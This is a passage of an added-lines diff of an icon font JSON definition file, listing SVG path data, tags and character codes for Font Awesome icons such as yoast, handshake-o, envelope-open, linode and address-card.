128-7.429-134.857c13.714-2.286 28.571-3.429 42.857-3.429 14.857 0 29.143 1.143 43.429 3.429l-8 135.429 44.571-128.571c28.571 7.429 55.429 18.857 80 33.714l-58.857 122.286 90.286-101.714c22.857 17.714 43.429 38.286 61.143 61.714l-101.143 90.857 121.714-59.429c14.857 24.571 25.714 52 33.143 80.571l-128 44.571 135.429-8c2.286 14.286 2.857 29.143 2.857 44zM772.571 512c0-185.714-149.714-336-333.714-336-184.571 0-333.714 150.286-333.714 336 0 185.143 149.143 335.429 333.714 335.429 184 0 333.714-150.286 333.714-335.429zM814.286 293.143v437.714l-375.429 218.857-375.429-218.857v-437.714l375.429-218.857zM438.857 982.286l404.571-235.429v-470.286l-404.571-234.857-404.571 234.857v470.286zM877.714 256v512l-438.857 256-438.857-256v-512l438.857-256z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "first-order" + ], + "defaultCode": 62128, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "first-order", + "id": 629, + "order": 1485, + "prevSize": 28, + "code": 62128 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 629 + }, + { + "icon": { + "paths": [ + "M193.714 124.571h394.857l-14.857 41.143h-380c-84 0-152.571 69.143-152.571 153.143v440.571c0 72 51.429 135.429 122.286 150.286 18.286 4 37.143 2.857 56 2.857v41.143h-25.714c-106.857 0-193.714-87.429-193.714-194.286v-440.571c0-106.857 86.857-194.286 193.714-194.286zM680 0h141.143l-275.429 739.429c-51.429 137.143-113.714 280-282.857 284.571v-111.429c63.429-10.286 104-45.143 125.714-104 7.429-19.429 11.429-39.429 11.429-60s-4-41.143-11.429-60.571l-162.857-418.857h130.286l106.857 334.286zM950.857 318.857v634.857h-454.286c9.143-13.714 18.857-26.857 25.714-41.714h387.429v-593.143c0-65.143-41.143-123.429-102.286-145.143l14.286-38.286c77.714 26.286 129.143 101.714 129.143 183.429z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "yoast" + ], + "defaultCode": 62129, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "yoast", + "id": 630, + "order": 1486, + "prevSize": 28, + "code": 62129 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 630 + }, + { + "icon": { + "paths": [ + "M486.857 176.571c0 20.571-13.143 43.429-35.429 43.429-22.857 0-35.429-22.857-35.429-43.429 0-20 12.571-43.429 35.429-43.429 22.286 0 35.429 23.429 35.429 43.429zM393.143 962.857v-65.143c0-22.286-17.714-41.714-40.571-41.714s-40 19.429-40 41.714v65.143c0 22.286 17.143 42.286 40 42.286s40.571-19.429 40.571-42.286zM491.429 962.857v-65.143c0-22.286-17.143-41.714-40-41.714s-40.571 19.429-40.571 41.714v65.143c0 22.286 17.714 42.286 40.571 42.286s40-20 40-42.286zM590.857 962.857v-65.143c0-22.286-17.714-41.714-40.571-41.714s-40.571 19.429-40.571 41.714v65.143c0 22.286 17.714 42.286 40.571 42.286s40.571-19.429 40.571-42.286zM690.286 962.857v-65.143c0-22.286-17.714-41.714-40.571-41.714s-40.571 19.429-40.571 41.714v65.143c0 22.286 17.714 42.286 40.571 42.286s40.571-20 40.571-42.286zM843.429 572c-61.714 118.286-180.571 205.143-317.143 205.143-193.143 0-321.143-169.143-321.143-353.143 0-33.714 4-66.857 12-99.429-40 67.429-59.429 145.143-59.429 222.857 0 120.571 49.714 243.429 142.857 321.714 10.286-19.429 29.714-32.571 52-32.571 20 0 38.857 11.429 49.143 28.571 10.857-17.143 29.143-28.571 49.714-28.571 20 0 38.857 11.429 49.143 28.571 10.857-17.143 29.714-28.571 49.714-28.571s38.857 11.429 49.714 28.571c10.286-17.143 29.143-28.571 49.143-28.571 21.714 0 41.714 13.143 51.429 32 86.857-72.571 137.143-184 142.857-296.571zM757.714 555.429c0-28.571-12.571-42.857-41.143-42.857-9.143 0-18.286 1.714-26.857 3.429-28.571 5.714-56.571 10.857-85.143 10.857-90.286 0-129.143-52.571-129.143-138.857 0-39.429 7.429-78.286 17.143-116.571-30.286 46.286-47.429 101.714-47.429 157.143 0 108 68.571 212 185.143 212 42.857 0 85.143-15.429 120-40 4-14.857 7.429-29.714 7.429-45.143zM505.143 178.857c0-36-25.143-73.714-64.571-73.714s-64.571 37.714-64.571 73.714c0 36.571 25.143 74.286 64.571 74.286s64.571-37.714 64.571-74.286zM864.571 372.571c0-107.429-69.143-211.429-185.143-211.429-60.571 0-117.143 30.286-157.714 73.714-14.286 47.429-27.429 102.857-27.429 153.143 0 76 30.286 120 110.286 120 27.429 0 54.286-5.143 81.143-10.857 10.286-1.714 20-3.429 30.286-3.429 39.429 0 59.429 22.857 59.429 61.714 0 8.571-0.571 17.714-2.286 26.286 57.714-52 91.429-131.429 91.429-209.143zM1024 496.571c0 72-22.857 204.571-72.571 259.429-45.714 49.714-174.857 122.286-241.714 141.143l-2.286 0.571v65.143c0 32.571-25.143 61.143-58.286 61.143-20 0-38.857-11.429-49.143-28.571-10.857 17.143-29.714 28.571-49.714 28.571s-38.857-11.429-49.714-28.571c-10.286 17.143-29.143 28.571-49.143 28.571-20.571 0-38.857-11.429-49.714-28.571-10.286 17.143-29.143 28.571-49.143 28.571-37.714 0-58.857-31.429-58.857-65.714-32.571 24.571-71.429 38.857-113.143 38.857-44 0-86.857-16.571-120.571-45.714 20.571-0.571 41.143-4.571 60.571-11.429-41.714-11.429-78.857-37.714-104-72.571 13.143 2.857 26.857 4 40.571 4 33.143 0 65.714-9.143 93.714-26.286-44-44-113.143-117.714-137.143-174.857-11.429-26.857-13.714-62.857-13.714-91.429 0-99.429 40.571-320 172.571-320 21.143 0 37.714 9.714 46.286 29.714 7.429-10.857 15.429-21.143 24-30.857 4-5.143 11.429-10.857 14.286-16.571 16-25.143 23.429-42.286 43.429-68 64.571-82.286 163.429-138.857 269.714-138.857 12 0 24 0.571 35.429 2.286 21.714-23.429 52-36.571 83.429-36.571 29.143 0 59.429 12 80 32.571 1.714 1.714 2.857 4.571 2.857 6.857 0 7.429-20.571 26.857-25.714 32.571 8.571 2.857 31.429 13.714 31.429 24 0 5.714-5.714 10.286-9.143 14.286 62.857 55.429 98.857 134.286 112.571 216 8.571-10.286 20.571-17.143 34.286-17.143 21.143 0 41.714 14.286 57.143 28 41.714 37.143 51.429 106.286 51.429 159.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "themeisle" + ], + "defaultCode": 62130, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "themeisle", + "id": 631, + "order": 1487, + "prevSize": 28, + "code": 62130 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 631 + }, + { + "icon": { + "paths": [ + "M524 517.143c0-12.571-1.143-24.571-3.429-36.571h-206.857v75.429h124c-9.143 60.571-66.286 94.286-124 94.286-76 0-136.571-62.857-136.571-138.286s60.571-138.286 136.571-138.286c32 0 64 10.857 87.429 33.714l59.429-57.714c-40.571-37.714-91.429-57.143-146.857-57.143-121.714 0-219.429 98.286-219.429 219.429s97.714 219.429 219.429 219.429c126.286 0 210.286-89.143 210.286-214.286zM721.143 543.429h62.286v-62.857h-62.286v-62.857h-62.857v62.857h-62.857v62.857h62.857v62.857h62.857v-62.857zM877.714 512c0 242.286-196.571 438.857-438.857 438.857s-438.857-196.571-438.857-438.857 196.571-438.857 438.857-438.857 438.857 196.571 438.857 438.857z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "google-plus-circle", + "google-plus-official" + ], + "defaultCode": 62131, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "google-plus-circle, google-plus-official", + "id": 632, + "order": 1488, + "prevSize": 28, + "code": 62131 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 632 + }, + { + "icon": { + "paths": [ + "M877.714 292.571v479.429c0 17.714-11.429 30.857-28 35.429-61.143 18.286-129.714 29.714-193.143 29.714-85.714 0-158.286-33.714-253.143-33.714-70.286 0-142.857 11.429-211.429 27.429v193.143h-91.429v-781.714c-48-18.857-79.429-65.714-79.429-117.143 0-69.143 56-125.143 125.143-125.143s125.143 56 125.143 125.143c0 51.429-31.429 98.286-79.429 117.143v38.857c64-14.857 130.286-25.143 196-25.143 37.714 0 75.429 2.857 113.143 8.571 49.143 7.429 98.857 24.571 149.143 24.571 31.429 0 63.429-4 94.286-10.286 23.429-4.571 77.143-22.857 96.571-22.857 20 0 36.571 16.571 36.571 36.571z" + ], + "width": 898.8525714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "fa", + "font-awesome" + ], + "defaultCode": 62132, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "fa, font-awesome", + "id": 633, + "order": 1489, + "prevSize": 28, + "code": 62132 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 633 + }, + { + "icon": { + "paths": [ + "M109.714 658.286c48 0 48-73.143 0-73.143s-48 73.143 0 73.143zM951.429 625.143c-45.143-58.857-89.143-118.857-140.571-172.571l-71.429 80c-62.857 71.429-175.429 69.714-236.571-3.429-43.429-52.571-43.429-128 1.143-180l101.143-117.714c-35.429-18.286-78.286-12-116.571-12-33.714 0-66.286 13.714-90.286 37.714l-90.286 90.286h-88.571v310.857c25.143 0 48-3.429 68 16l169.714 166.857c34.857 33.714 80 63.429 129.714 63.429 25.714 0 53.143-8.571 71.429-26.857 42.857 14.857 92.571-9.143 105.714-53.143 27.429 2.286 52.571-6.286 72.571-25.143 13.143-12 30.286-36 28.571-54.857 5.143 5.143 17.714 5.714 24.571 5.714 68 0 103.429-71.429 61.714-125.143zM1042.286 658.286h54.857v-292.571h-53.143l-89.714-102.857c-24-27.429-60-43.429-96.571-43.429h-95.429c-32 0-62.857 14.286-83.429 38.286l-119.429 138.857c-21.143 25.143-21.143 60.571-0.571 85.714 32.571 38.857 92.571 39.429 126.286 1.714l110.286-124.571c26.286-29.143 74.286-1.714 62.286 35.429 21.714 25.143 45.143 49.714 66.286 74.857 28.571 35.429 56 72.571 84 108.571 17.714 22.857 30.857 50.286 34.286 80zM1206.857 658.286c48 0 48-73.143 0-73.143s-48 73.143 0 73.143zM1316.571 329.143v365.714c0 20-16.571 36.571-36.571 36.571h-248c-20.571 49.714-65.714 82.857-118.286 90.286-24.571 36-62.286 63.429-104.571 72.571-31.429 40-82.286 64-133.143 60.571-94.286 53.143-200.571 6.857-270.857-62.286l-164-161.143h-204.571c-20 0-36.571-16.571-36.571-36.571v-384c0-20 16.571-36.571 36.571-36.571h240.571c66.286-66.286 112-128 211.429-128h66.857c37.143 0 73.143 11.429 103.429 32 30.286-20.571 66.286-32 103.429-32h95.429c108.571 0 153.714 70.857 219.429 146.286h202.857c20 0 36.571 16.571 36.571 36.571z" + ], + "width": 1316.5714285714284, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "handshake-o" + ], + "defaultCode": 62133, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "handshake-o", + "id": 634, + "order": 1490, + "prevSize": 28, + "code": 62133 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 634 + }, + { + "icon": { + "paths": [ + "M1024 373.714v558.857c0 50.286-41.143 91.429-91.429 91.429h-841.143c-50.286 0-91.429-41.143-91.429-91.429v-558.857c0-5.143 2.286-10.286 6.286-13.714 60-52.571 60.571-58.857 358.857-276.571 36-26.286 99.429-83.429 146.857-83.429s111.429 57.714 146.857 83.429c298.286 217.714 298.857 224 358.857 276.571 4 3.429 6.286 8.571 6.286 13.714zM701.714 708c89.143-64.571 151.429-109.714 197.143-144 8-5.714 9.714-17.143 3.429-25.143l-21.714-29.714c-6.286-8-17.714-9.714-25.714-3.429-45.143 33.143-106.857 78.857-196 142.857-35.429 25.714-99.429 82.857-146.857 82.857s-111.429-57.143-146.857-82.857c-89.143-64.571-150.857-109.714-196-142.857-8-6.286-19.429-4.571-25.714 3.429l-21.714 29.714c-6.286 8-4.571 19.429 3.429 25.143 45.714 34.286 108 79.429 197.143 144 44.571 32 114.857 96.571 189.714 96.571 75.429 0 147.429-65.714 189.714-96.571z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "envelope-open" + ], + "defaultCode": 62134, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "envelope-open", + "id": 635, + "order": 1491, + "prevSize": 28, + "code": 62134 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 635 + }, + { + "icon": { + "paths": [ + "M842.286 521.714l22.286 29.143c6.286 8 4.571 18.857-2.857 25.143-57.143 44.571-188.571 145.714-194.286 150.286-40.571 33.143-95.429 78.857-154.857 78.286h-1.143c-59.429 0-114.286-45.143-154.857-78.286-6.286-5.143-133.143-102.857-189.143-146.286-8-6.286-9.714-17.143-3.429-25.143l21.143-29.714c6.286-8.571 18.286-10.286 26.286-3.429 38.857 30.286 93.714 72.571 174.857 134.857 28.571 21.714 85.143 74.857 125.143 74.857h1.143c40 0 96.571-53.143 125.143-74.857 84-64.571 140-107.429 178.857-138.286 8-6.286 19.429-4.571 25.714 3.429zM950.857 932.571v-530.286c-57.143-53.143-48.571-48.571-313.143-253.143-28.571-22.286-85.143-76-125.143-76h-1.143c-40 0-96.571 53.714-125.143 76-264.571 204.571-256 200-313.143 253.143v530.286c0 9.714 8.571 18.286 18.286 18.286h841.143c9.714 0 18.286-8.571 18.286-18.286zM1024 402.286v530.286c0 50.286-41.143 91.429-91.429 91.429h-841.143c-50.286 0-91.429-41.143-91.429-91.429v-530.286c0-20.571 8.571-40 23.429-53.714 117.143-108.571 252-202.857 333.143-269.714 40-33.143 95.429-78.857 154.857-78.857h1.143c59.429 0 114.857 45.714 154.857 78.857 75.429 62.286 218.857 163.429 333.143 269.714 14.857 13.714 23.429 33.143 23.429 53.714z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "envelope-open-o" + ], + "defaultCode": 62135, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "envelope-open-o", + "id": 636, + "order": 1492, + "prevSize": 28, + "code": 62135 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 636 + }, + { + "icon": { + "paths": [ + "M188.571 877.143l115.429 122.286-19.429-134.857-123.429-121.714zM317.714 1006.286l156.571-124.571-6.286-140-171.429 122.857zM140 641.714l129.714 121.714-27.429-186.857-140-116.571zM282.857 769.714l181.143-122.286-8-185.143-201.143 114.286zM481.714 776l54.286 45.714-1.143-136.571-58.857-45.143c0 4.571 2.286 12.571-2.286 16l-44.571 29.714 48.571 40c5.714 4.571 4 43.429 4 50.286zM78.857 346.286l146.286 114.286-38.857-265.714-159.429-98.857zM670.286 725.143l8.571-133.714-131.429 93.714 1.143 137.143zM238.286 465.143l213.143-110.857-10.857-252-241.714 93.143zM725.714 673.714l11.429-133.143-129.143-81.143-1.143 60 82.286 54.286c1.714 1.143 2.857 3.429 2.286 5.143l-4 68zM834.857 594.286l17.143-126.857-102.286 73.143-11.429 130.286zM727.429 689.714l-40.571-28-4.571 66.857c0 1.714-0.571 3.429-2.286 4.571l-133.714 106.857c-2.286 1.714-5.714 1.714-8 0l-56-47.429 4 92c0 1.714-0.571 3.429-2.286 4.571l-167.429 133.714c-1.143 0.571-2.286 1.143-3.429 1.143-1.714-0.571-3.429-0.571-4.571-1.714l-130.286-138.286c-2.857-2.857-30.857-144-33.714-158.286-0.571-2.286 1.143-5.143 2.857-6.286l34.857-21.143c-6.857-6.286-53.143-46.857-54.286-52.571l-41.143-200.571c-0.571-2.286 0.571-5.143 3.429-6.857l53.714-25.714c-9.143-6.857-75.429-54.857-77.143-61.714l-54.857-266.286c-0.571-3.429 1.143-6.286 4-7.429l247.429-77.143c1.143 0 2.857 0 4.571 0.571l181.143 87.429c1.714 1.143 3.429 3.429 3.429 5.143l11.429 264.571c0 2.286-1.143 4.571-3.429 5.714l-67.429 34.857 72 48.571c1.714 0.571 2.857 2.857 2.857 4.571l2.857 70.286 69.143-42.286c1.714-1.143 4.571-1.143 6.286 0l48 32 1.714-62.857c0-1.714 1.143-4 2.857-5.143l117.714-72c2.286-1.143 4.571-1.143 6.286 0l140 77.143c1.143 1.143 2.286 2.286 2.857 4 1.143 4-17.714 132.571-19.429 145.714 0 1.714-1.143 3.429-2.286 4l-109.143 87.429c-2.286 1.714-5.143 1.714-7.429 0z" + ], + "width": 878.2994285714285, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "linode" + ], + "defaultCode": 62136, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "linode", + "id": 637, + "order": 1493, + "prevSize": 28, + "code": 62136 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 637 + }, + { + "icon": { + "paths": [ + "M686.286 707.429c0-101.143-24.571-213.714-126.286-213.714-31.429 18.286-74.286 49.714-121.143 49.714s-89.714-31.429-121.143-49.714c-101.714 0-126.286 112.571-126.286 213.714 0 56.571 37.143 97.143 82.857 97.143h329.143c45.714 0 82.857-40.571 82.857-97.143zM587.429 368c0-82.286-66.857-148.571-148.571-148.571s-148.571 66.286-148.571 148.571c0 81.714 66.857 148 148.571 148s148.571-66.286 148.571-148zM950.857 676.571v109.714c0 10.286-8 18.286-18.286 18.286h-54.857v128c0 50.286-41.143 91.429-91.429 91.429h-694.857c-50.286 0-91.429-41.143-91.429-91.429v-841.143c0-50.286 41.143-91.429 91.429-91.429h694.857c50.286 0 91.429 41.143 91.429 91.429v128h54.857c10.286 0 18.286 8 18.286 18.286v109.714c0 10.286-8 18.286-18.286 18.286h-54.857v73.143h54.857c10.286 0 18.286 8 18.286 18.286v109.714c0 10.286-8 18.286-18.286 18.286h-54.857v73.143h54.857c10.286 0 18.286 8 18.286 18.286z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "address-book" + ], + "defaultCode": 62137, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "address-book", + "id": 638, + "order": 1494, + "prevSize": 28, + "code": 62137 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 638 + }, + { + "icon": { + "paths": [ + "M587.429 368c0 81.714-66.857 148-148.571 148s-148.571-66.286-148.571-148c0-82.286 66.857-148.571 148.571-148.571s148.571 66.286 148.571 148.571zM560 493.714c109.143 0 126.286 129.714 126.286 213.714 0 48-30.286 97.143-82.857 97.143h-329.143c-52.571 0-82.857-49.143-82.857-97.143 0-80.571 17.143-213.714 123.429-213.714h2.857c37.714 22.286 76 49.714 121.143 49.714s83.429-27.429 121.143-49.714zM950.857 347.429c0 9.714-8.571 18.286-18.286 18.286h-54.857v73.143h54.857c9.714 0 18.286 8.571 18.286 18.286v109.714c0 9.714-8.571 18.286-18.286 18.286h-54.857v73.143h54.857c9.714 0 18.286 8.571 18.286 18.286v109.714c0 9.714-8.571 18.286-18.286 18.286h-54.857v128c0 50.286-41.143 91.429-91.429 91.429h-694.857c-50.286 0-91.429-41.143-91.429-91.429v-841.143c0-50.286 41.143-91.429 91.429-91.429h694.857c50.286 0 91.429 41.143 91.429 91.429v128h54.857c9.714 0 18.286 8.5711 18.286 18.286v109.714zM804.571 932.571v-841.143c0-9.714-8.571-18.286-18.286-18.286h-694.857c-9.714 0-18.286 8.571-18.286 18.286v841.143c0 9.714 8.571 18.286 18.286 18.286h694.857c9.714 0 18.286-8.571 18.286-18.286z" + ], + "width": 950.8571428571428, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "address-book-o" + ], + "defaultCode": 62138, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "address-book-o", + "id": 639, + "order": 1495, + "prevSize": 28, + "code": 62138 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 639 + }, + { + "icon": { + "paths": [ + "M585.143 646.286c0-88.571-21.714-186.857-112-186.857-28 16-65.714 43.429-107.429 43.429s-79.429-27.429-107.429-43.429c-90.286 0-112 98.286-112 186.857 0 49.714 32.571 85.143 73.143 85.143h292.571c40.571 0 73.143-35.429 73.143-85.143zM495.429 349.143c0-71.429-58.286-129.714-129.714-129.714s-129.714 58.286-129.714 129.714c0 72 58.286 129.714 129.714 129.714s129.714-57.714 129.714-129.714zM1024 640v-36.571c0-10.286-8-18.286-18.286-18.286h-329.143c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h329.143c10.286 0 18.286-8 18.286-18.286zM1024 491.429v-32c0-11.429-9.143-20.571-20.571-20.571h-324.571c-11.429 0-20.571 9.143-20.571 20.571v32c0 11.429 9.143 20.571 20.571 20.571h324.571c11.429 0 20.571-9.143 20.571-20.571zM1024 347.429v-36.571c0-10.286-8-18.286-18.286-18.286h-329.143c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h329.143c10.286 0 18.286-8 18.286-18.286zM1170.286 164.571v694.857c0 50.286-41.143 91.429-91.429 91.429h-201.143v-54.857c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v54.857h-438.857v-54.857c0-10.286-8-18.286-18.286-18.286h-36.571c-10.286 0-18.286 8-18.286 18.286v54.857h-201.143c-50.286 0-91.429-41.143-91.429-91.429v-694.857c0-50.286 41.143-91.429 91.429-91.429h987.429c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "address-card", + "vcard" + ], + "defaultCode": 62139, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "address-card, vcard", + "id": 640, + "order": 1496, + "prevSize": 28, + "code": 62139 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 640 + }, + { + "icon": { + "paths": [ + "M585.143 646.286c0 49.714-32.571 85.143-73.143 85.143h-292.571c-40.571 0-73.143-35.429-73.143-85.143 0-88.571 21.714-186.857 112-186.857 28 16 65.714 43.429 107.429 43.429s79.429-27.429 107.429-43.429c90.286 0 112 98.286 112 186.857zM495.429 349.143c0 72-58.286 129.714-129.714 129.714s-129.714-57.714-129.714-129.714c0-71.429 58.286-129.714 129.714-129.714s129.714 58.286 129.714 129.714zM1024 603.429v36.571c0 10.286-8 18.286-18.286 18.286h-329.143c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h329.143c10.286 0 18.286 8 18.286 18.286zM1024 459.429v32c0 11.429-9.143 20.571-20.571 20.571h-324.571c-11.429 0-20.571-9.143-20.571-20.571v-32c0-11.429 9.143-20.571 20.571-20.571h324.571c11.429 0 20.571 9.143 20.571 20.571zM1024 310.857v36.571c0 10.286-8 18.286-18.286 18.286h-329.143c-10.286 0-18.286-8-18.286-18.286v-36.571c0-10.286 8-18.286 18.286-18.286h329.143c10.286 0 18.286 8 18.286 18.286zM1097.143 859.429v-694.857c0-9.714-8.571-18.286-18.286-18.286h-987.429c-9.714 0-18.286 8.571-18.286 18.286v694.857c0 9.714 8.571 18.286 18.286 18.286h201.143v-54.857c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286v54.857h438.857v-54.857c0-10.286 8-18.286 18.286-18.286h36.571c10.286 0 18.286 8 18.286 18.286v54.857h201.143c9.714 0 18.286-8.571 18.286-18.286zM1170.286 164.571v694.857c0 50.286-41.143 91.429-91.429 91.429h-987.429c-50.286 0-91.429-41.143-91.429-91.429v-694.857c0-50.286 41.143-91.429 91.429-91.429h987.429c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 1170.2857142857142, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "address-card-o", + "vcard-o" + ], + "defaultCode": 62140, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "address-card-o, vcard-o", + "id": 641, + "order": 1497, + "prevSize": 28, + "code": 62140 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 641 + }, + { + "icon": { + "paths": [ + "M870.286 765.143c-14.857-106.857-58.286-201.714-155.429-214.857-50.286 54.857-122.857 89.714-202.857 89.714s-152.571-34.857-202.857-89.714c-97.143 13.143-140.571 108-155.429 214.857 79.429 112 210.286 185.714 358.286 185.714s278.857-73.714 358.286-185.714zM731.429 365.714c0-121.143-98.286-219.429-219.429-219.429s-219.429 98.286-219.429 219.429 98.286 219.429 219.429 219.429 219.429-98.286 219.429-219.429zM1024 512c0 281.714-228.571 512-512 512-282.857 0-512-229.714-512-512 0-282.857 229.143-512 512-512s512 229.143 512 512z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "user-circle" + ], + "defaultCode": 62141, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "user-circle", + "id": 642, + "order": 1498, + "prevSize": 28, + "code": 62141 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 642 + }, + { + "icon": { + "paths": [ + "M512 0c282.857 0 512 229.143 512 512 0 281.143-228 512-512 512-283.429 0-512-230.286-512-512 0-282.857 229.143-512 512-512zM865.714 772c53.143-73.143 85.143-162.857 85.143-260 0-241.714-197.143-438.857-438.857-438.857s-438.857 197.143-438.857 438.857c0 97.143 32 186.857 85.143 260 20.571-102.286 70.286-186.857 174.857-186.857 46.286 45.143 109.143 73.143 178.857 73.143s132.571-28 178.857-73.143c104.571 0 154.286 84.571 174.857 186.857zM731.429 402.286c0-121.143-98.286-219.429-219.429-219.429s-219.429 98.286-219.429 219.429 98.286 219.429 219.429 219.429 219.429-98.286 219.429-219.429z" + ], + "width": 1024, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "user-circle-o" + ], + "defaultCode": 62142, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "user-circle-o", + "id": 643, + "order": 1499, + "prevSize": 28, + "code": 62142 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 643 + }, + { + "icon": { + "paths": [ + "M686.286 448c80.571 23.429 191.429 102.857 191.429 362.857 0 117.714-87.429 213.143-194.857 213.143h-488c-107.429 0-194.857-95.429-194.857-213.143 0-260 110.857-339.429 191.429-362.857-28.571-45.143-45.143-98.286-45.143-155.429 0-161.143 131.429-292.571 292.571-292.571s292.571 131.429 292.571 292.571c0 57.143-16.571 110.286-45.143 155.429zM438.857 73.143c-121.143 0-219.429 98.286-219.429 219.429s98.286 219.429 219.429 219.429 219.429-98.286 219.429-219.429-98.286-219.429-219.429-219.429zM682.857 950.857c66.857 0 121.714-62.286 121.714-140 0-180-60.571-292.571-173.714-298.286-51.429 45.143-118.286 72.571-192 72.571s-140.571-27.429-192-72.571c-113.143 5.714-173.714 118.286-173.714 298.286 0 77.714 54.857 140 121.714 140h488z" + ], + "width": 877.7142857142857, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "user-o" + ], + "defaultCode": 62144, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "user-o", + "id": 644, + "order": 1500, + "prevSize": 28, + "code": 62144 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 644 + }, + { + "icon": { + "paths": [ + "M585.143 718.857c0 49.143-32.571 85.714-73.143 85.714h-292.571c-40.571 0-73.143-36.571-73.143-85.714 0-89.143 22.286-188 112-188 28 26.286 65.714 42.857 107.429 42.857s79.429-16.571 107.429-42.857c89.714 0 112 98.857 112 188zM497.143 422.286c0 72-58.857 129.714-131.429 129.714s-131.429-57.714-131.429-129.714c0-71.429 58.857-129.714 131.429-129.714s131.429 58.286 131.429 129.714zM658.286 932.571v-786.286h-585.143v786.286c0 9.714 8.571 18.286 18.286 18.286h548.571c9.714 0 18.286-8.571 18.286-18.286zM731.429 91.429v841.143c0 50.286-41.143 91.429-91.429 91.429h-548.571c-50.286 0-91.429-41.143-91.429-91.429v-841.143c0-50.286 41.143-91.429 91.429-91.429h201.143v54.857c0 10.286 8 18.286 18.286 18.286h109.714c10.286 0 18.286-8 18.286-18.286v-54.857h201.143c50.286 0 91.429 41.143 91.429 91.429z" + ], + "width": 731.4285714285713, + "attrs": [], + "isMulticolor": false, + "isMulticolor2": false, + "tags": [ + "id-badge" + ], + "defaultCode": 62145, + "grid": 14 + }, + "attrs": [], + "properties": { + "name": "id-badge", + "id": 645, + "order": 1501, + "prevSize": 28, + "code": 62145 + }, + "setIdx": 1, + "setId": 3, + "iconIdx": 645 + }, + { + "icon": { + "paths": [ + "M512 692.571c0-75.429-18.286-162.286-93.714-162.286-22.857 22.857-54.286 36.571-89.143 36.571s-66.286-13.714-89.143-36.571c-75.429 0-93.714 86.857-93.714 162.286 0 41.714 27.429 75.429 61.143 75.429h243.429c33.714 0 61.143-33.714 61.143-75.429zM438.857 438.857c0-60.571-49.143-109.714-109.714-109.714s-109.714 49.143-109.714 109.714 49.143 109.714 109.714 109.714 109.714-49.143 109.714-109.714zM1024 713.143v-36.571c0-10.286-8-18.286-18.286-18.286h-402.286c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h402.286c10.286 0 18.286-8 18.286-18.286zM804.571 566.857v-36.571c0-10.286-8-18.286-18.286-18.286h-182.857c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h182.857c10.286 0 18.286-8 18.286-18.286zM1024 566.857v-36.571c0-10.286-8-18.286-18.286-18.286h-109.714c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h109.714c10.286 0 18.286-8 18.286-18.286zM1024 420.571v-36.571c0-10.286-8-18.286-18.286-18.286h-402.286c-10.286 0-18.286 8-18.286 18.286v36.571c0 10.286 8 18.286 18.286 18.286h402.286c10.286 0 18.286-8 18.286-18.286zM73.143 